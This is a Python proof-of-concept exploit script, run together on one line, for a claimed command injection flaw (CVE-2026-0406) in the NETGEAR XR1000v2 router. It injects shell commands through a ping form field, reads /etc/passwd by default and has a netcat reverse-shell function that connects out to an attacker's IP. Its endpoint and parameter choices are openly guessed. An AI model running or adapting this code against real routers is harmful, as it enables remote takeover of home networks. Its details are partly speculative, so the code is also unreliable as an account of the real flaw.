CVE-2026-0406

#!/usr/bin/env python3 # CVE-2026-0406 PoC - NETGEAR XR1000v2 OS Command Injection # Note: This is a conceptual PoC for educational purposes only import requests import argparse target_ip = "192.168.1.1" # Router LAN IP target_port = 80 def exploit_command_injection(target, command): """ Exploit the insufficient input validation vulnerability to execute OS commands on NETGEAR XR1000v2 """ # Common vulnerable endpoint patterns for NETGEAR devices endpoints = [ "/cgi-bin/;command", "/ping.htm", "/diag.htm", "/utility.cgi" ] # Payload construction with command injection # Using common injection techniques: ; | && || payload = f";{command}" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Example vulnerable parameter (actual parameter varies) data = { "ping_ip": f"127.0.0.1{payload}", "ping_count": "1" } try: url = f"http://{target}:{target_port}{endpoints[0].replace(';command', '')}" response = requests.post(url, data=data, headers=headers, timeout=10) return response.text except requests.RequestException as e: return f"Error: {str(e)}" def reverse_shell(target, attacker_ip, attacker_port): """ Generate reverse shell command for exploitation """ # Netcat reverse shell payload shell_cmd = f"nc -e /bin/sh {attacker_ip} {attacker_port}" return exploit_command_injection(target, shell_cmd) if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2026-0406 PoC") parser.add_argument("--target", default=target_ip, help="Target router IP") parser.add_argument("--cmd", default="cat /etc/passwd", help="Command to execute") args = parser.parse_args() print(f"[*] Exploiting CVE-2026-0406 on {args.target}") print(f"[*] Executing: {args.cmd}") result = exploit_command_injection(args.target, args.cmd) print("[*] Result:") print(result)

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